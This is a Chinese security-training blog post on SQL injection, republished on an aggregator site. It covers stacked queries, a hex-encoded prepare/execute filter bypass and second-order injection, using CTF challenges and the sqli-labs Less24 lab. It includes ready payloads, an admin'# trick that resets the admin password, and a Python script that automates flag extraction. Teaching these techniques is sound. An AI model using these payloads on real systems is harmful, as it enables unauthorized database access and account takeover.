【小迪安全2023】第30天:WEB攻防-通用漏洞SQL注入CTF二次堆善DNS带外

本文主要是介绍【小迪安全2023】第30天:WEB攻防-通用漏洞SQL注入CTF二次堆善DNS带外,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

🍬 博主介绍👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

目录

大纲:

一、堆叠注入

二、堆叠注入CTF题目

三、二次注入

sqli-labs/Less24

查看源代码,进行分析讲解:

四、二次注入CTF题目


大纲:

一、堆叠注入

  • 堆叠注入:根据数据库类型决定是否支持多条语句执行,用分号隔开。堆叠注入在代码中被执行是一方面,是否被执行成功又是另一方面。
  • 支持数据库类型:Mysql、Mssql等。

在mysql中,支持16进制编码。

参考文章:

https://www.cnblogs.com/backlion/p/9721687.html

最新堆叠查询注入攻击和注入代码分析技术-腾讯云开发者社区-腾讯云

二、堆叠注入CTF题目

进行常见的sql注入单引号测试,发现页面报错,存在sql注入

1'

然后就是今天学会的新姿势“堆叠注入”了。

原理很简单,就是通过号注入多条SQL语句。

先通过show databases爆出数据库。

1';show databases;

然后用 show tables 尝试爆表

1';show tables;

可以看到这里有两个表,我们先尝试爆words表的内容,

没有发现什么有关flag的信息。

1';show columns from words;

然后再尝试爆破“1919810931114514”表,

看到了flag字段

1';show columns from `1919810931114514`;

想查询到1919810931114514表中的flag字段详细信息,但是发现对select进行了过滤

1';select * from 1919810931114514

这里看大佬博客:

因为select被过滤了,所以先将select * from 1919810931114514 进行16进制编码

再通过构造payload得:

1’;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;//prepare…from…是预处理语句,会进行编码转换。
//execute用来执行由SQLPrepare创建的SQL语句。
//SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。

博客参考链接:

https://www.cnblogs.com/takagisan/p/16265960.html

三、二次注入

二次注入就是先插入攻击语句,插入的过程中就会被执行,然后某些页面会展示执行后的内容。

举个例子:

假如在注册用户的时候,需要填用户名、邮箱和密码,登录使用邮箱和密码,登陆上去后会显示用户名,后台为什么知道你的用户名,就可能是使用SQL语句,通过你的邮箱和密码查询到用户名。假如用户名是SQL语句,会在插入的时候就执行SQL语句,然后显示。这就是二次注入的基本原理。

sqli-labs/Less24

这里呢,给大家伙拿靶场sqli-labs/Less24复现一下二次注入,虽然小迪没讲,但是我觉得这个靶场复现sql二次注入还是蛮清晰的,希望可以让师傅们对二次注入更加了解。

sqli-labs/Less24靶场里面,默认数据库里面有admin用户,且密码是admin,我们这里就来利用这个靶场来复现下。

然后我们注册一个admin'#的用户,密码也是admin'#。

然后再登录admin'#这个用户,然后我们在下面进行修改admin'#用户的密码为123456

然后我就可以利用admin'#的密码123456就可以登录admin账户了,数据库中admin用户的密码也变成了123456。

至此,sql二次注入就成功执行了。

查看源代码,进行分析讲解:

登录新建用户admin'#后我们进行更改密码为123456

服务器执行的代码是:

UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'

这个时候就出现问题了 admin'#进入数据库的时候单引号和#号被当成了字符 但是从$username提取出来的admin'# 单引号和#号又被当成了特殊字符

于是语句就变成了:

UPDATE users SET PASSWORD='123456' where username='admin'#' and password='$curr_pass'

标记红的是被注释掉了 这样就造成了无admin密码的情况下 就可以修改admin密码

四、二次注入CTF题目

这个题目是个sql二次注入的题目,扫描目录,发现存在注册页面:register.php

这个二次注入,我是参考红队大佬的python代码:

import requests
import time
from bs4 import BeautifulSoupdef get_flag():flag = ''url = 'http://4ecc41d2-2490-46b9-a16a-f384574ca1ca.node4.buuoj.cn:81/'register_url = url + 'register.php'login_url = url + 'login.php'for i in range(1, 100):time.sleep(0.5)register_data = {"email": "{}@1.com".format(i),"username": "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i), "password": "1"}login_data = {"email": "{}@1.com".format(i), "password": "1"}requests.post(register_url, data=register_data)response_login = requests.post(login_url, data=login_data)bs = BeautifulSoup(response_login.text, 'html.parser') username = bs.find('span', class_='user-name')  # 取返回页面数据的span class=user-name属性number = username.text  flag += chr(int(number))print("\r", end="")print(flag,end="")if __name__ == '__main__':get_flag()

这篇关于【小迪安全2023】第30天:WEB攻防-通用漏洞SQL注入CTF二次堆善DNS带外的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/912227

相关文章

SQL中的外键约束

外键约束用于表示两张表中的指标连接关系。外键约束的作用主要有以下三点: 1.确保子表中的某个字段(外键)只能引用父表中的有效记录2.主表中的列被删除时,子表中的关联列也会被删除3.主表中的列更新时,子表中的关联元素也会被更新 子表中的元素指向主表 以下是一个外键约束的实例展示

基于MySQL Binlog的Elasticsearch数据同步实践

一、为什么要做 随着马蜂窝的逐渐发展,我们的业务数据越来越多,单纯使用 MySQL 已经不能满足我们的数据查询需求,例如对于商品、订单等数据的多维度检索。 使用 Elasticsearch 存储业务数据可以很好的解决我们业务中的搜索需求。而数据进行异构存储后,随之而来的就是数据同步的问题。 二、现有方法及问题 对于数据同步,我们目前的解决方案是建立数据中间表。把需要检索的业务数据,统一放到一张M

如何去写一手好SQL

MySQL性能 最大数据量 抛开数据量和并发数,谈性能都是耍流氓。MySQL没有限制单表最大记录数,它取决于操作系统对文件大小的限制。 《阿里巴巴Java开发手册》提出单表行数超过500万行或者单表容量超过2GB,才推荐分库分表。性能由综合因素决定,抛开业务复杂度,影响程度依次是硬件配置、MySQL配置、数据表设计、索引优化。500万这个值仅供参考,并非铁律。 博主曾经操作过超过4亿行数据

性能分析之MySQL索引实战案例

文章目录 一、前言二、准备三、MySQL索引优化四、MySQL 索引知识回顾五、总结 一、前言 在上一讲性能工具之 JProfiler 简单登录案例分析实战中已经发现SQL没有建立索引问题,本文将一起从代码层去分析为什么没有建立索引? 开源ERP项目地址:https://gitee.com/jishenghua/JSH_ERP 二、准备 打开IDEA找到登录请求资源路径位置

MySQL数据库宕机,启动不起来,教你一招搞定!

作者介绍:老苏,10余年DBA工作运维经验,擅长Oracle、MySQL、PG、Mongodb数据库运维(如安装迁移,性能优化、故障应急处理等)公众号:老苏畅谈运维欢迎关注本人公众号,更多精彩与您分享。 MySQL数据库宕机,数据页损坏问题,启动不起来,该如何排查和解决,本文将为你说明具体的排查过程。 查看MySQL error日志 查看 MySQL error日志,排查哪个表(表空间

30常用 Maven 命令

Maven 是一个强大的项目管理和构建工具,它广泛用于 Java 项目的依赖管理、构建流程和插件集成。Maven 的命令行工具提供了大量的命令来帮助开发人员管理项目的生命周期、依赖和插件。以下是 常用 Maven 命令的使用场景及其详细解释。 1. mvn clean 使用场景:清理项目的生成目录,通常用于删除项目中自动生成的文件(如 target/ 目录)。共性规律:清理操作

MySQL高性能优化规范

前言:      笔者最近上班途中突然想丰富下自己的数据库优化技能。于是在查阅了多篇文章后,总结出了这篇! 数据库命令规范 所有数据库对象名称必须使用小写字母并用下划线分割 所有数据库对象名称禁止使用mysql保留关键字(如果表名中包含关键字查询时,需要将其用单引号括起来) 数据库对象的命名要能做到见名识意,并且最后不要超过32个字符 临时库表必须以tmp_为前缀并以日期为后缀,备份

Java Web指的是什么

Java Web指的是使用Java技术进行Web开发的一种方式。Java在Web开发领域有着广泛的应用,主要通过Java EE(Enterprise Edition)平台来实现。  主要特点和技术包括: 1. Servlets和JSP:     Servlets 是Java编写的服务器端程序,用于处理客户端请求和生成动态网页内容。     JSP(JavaServer Pages)

客户案例:安全海外中继助力知名家电企业化解海外通邮困境

1、客户背景 广东格兰仕集团有限公司(以下简称“格兰仕”),成立于1978年,是中国家电行业的领军企业之一。作为全球最大的微波炉生产基地,格兰仕拥有多项国际领先的家电制造技术,连续多年位列中国家电出口前列。格兰仕不仅注重业务的全球拓展,更重视业务流程的高效与顺畅,以确保在国际舞台上的竞争力。 2、需求痛点 随着格兰仕全球化战略的深入实施,其海外业务快速增长,电子邮件成为了关键的沟通工具。

安全管理体系化的智慧油站开源了。

AI视频监控平台简介 AI视频监控平台是一款功能强大且简单易用的实时算法视频监控系统。它的愿景是最底层打通各大芯片厂商相互间的壁垒,省去繁琐重复的适配流程,实现芯片、算法、应用的全流程组合,从而大大减少企业级应用约95%的开发成本。用户只需在界面上进行简单的操作,就可以实现全视频的接入及布控。摄像头管理模块用于多种终端设备、智能设备的接入及管理。平台支持包括摄像头等终端感知设备接入,为整个平台提